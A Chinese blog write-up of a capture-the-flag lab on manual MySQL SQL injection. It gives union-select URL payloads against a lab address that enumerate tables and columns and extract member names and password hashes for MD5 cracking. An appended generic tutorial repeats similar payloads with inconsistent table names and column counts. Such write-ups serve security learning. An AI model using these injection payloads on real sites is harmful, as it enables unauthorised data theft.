[墨者学院]SQL手工注入漏洞测试(MySQL数据库)

在这里插入图片描述
必知知识:
数据库版本:version()
数据库名:database()
数据库用户:user()
操作系统:@@version_compile_os

information_schema.tables:记录所有表名信息的表
information_schema.column:记录所有列名信息的表
table_name:表名
column_name:列名
table_schema:表名
在这里插入图片描述
点击登录下面通知进入
在这里插入图片描述

在这里插入图片描述
在网址随便输入判断是否存在注入点
在这里插入图片描述

通过输入order by x进行判断字段数
在这里插入图片描述
将前面进行报错执行后面内容,查询输入
在这里插入图片描述
得到数据库库名
在这里插入图片描述
获取表名

http://219.153.49.228:44553/new_list.php?id=-1 union select 1,2,group_concat(table_name),4 from information_schema.tables where table_schema='mozhe_Discuz_StormGroup'#

在这里插入图片描述
获取列名:

http://219.153.49.228:44553/new_list.php?id=-1 union select 1,2,group_concat(column_name),4 from information_schema.columns where table_name='StormGroup_member'#

在这里插入图片描述
得到数据

http://219.153.49.228:44553/new_list.php?id=-1 union select 1,2,group_concat(name,password),4 from StormGroup_member#

在这里插入图片描述
在这里插入图片描述

将得到的代码进行MD5解密登录账户获取flag

### MySQL数据库中的SQL手工注入漏洞测试方法 #### 测试前准备 为了安全有效地进行SQL注入测试,建议在一个受控环境中操作。通常会搭建一个包含Nginx、PHP以及MySQL的靶场环境,在此环境下可以自由尝试各种攻击向量而不会影响生产数据。 #### 获取当前使用的数据库名称 通过构造特定查询语句来获取正在使用的数据库名是一个常见的起点。例如,可以通过访问`/new_list.php?id=-1 union select 1,database(),3,4`这样的URL路径实现这一点[^3]。这将返回当前连接到的应用程序所使用的具体数据库的名字。 #### 列出所有可用表格 一旦知道了具体的数据库名字之后,下一步就是找出该数据库中存在的所有表单。利用如下所示的HTTP请求字符串即可完成这一目的:`/new_list.php?id=-1 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema = 'security'),3 -- -` 。这里假设已知的安全数据库名为'security'[^2]。请注意实际应用时应替换为之前获得的确切数据库名称。 #### 探索选定表内的列详情 当掌握了感兴趣的表的信息后,则可进一步探索这些表内部的具体结构——即它们各自拥有的字段列表。对于每一个想要了解其组成的表而言,都可以执行类似于下面这条命令的操作(以users为例): ```sql /new_list.php?id=-1 UNION SELECT 1,GROUP_CONCAT(COLUMN_NAME),DATABASE(),4 FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='users' ``` #### 提取敏感信息 最后一步是从确认过的表里读取出有用的数据项。比如要查看用户账号及其密码哈希值的话,就可以发送像这样格式化的GET请求给服务器端口: ```sql /new_list.php?id=-1 UNION SELECT 1,username,password,DATABASE() FROM users-- ``` 以上过程展示了如何逐步深入挖掘潜在存在的SQL注入缺陷并从中提取有价值的情报。然而值得注意的是,上述技术仅适用于教育用途下的合法渗透测试活动;未经授权擅自入侵他人信息系统属于违法行为!
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值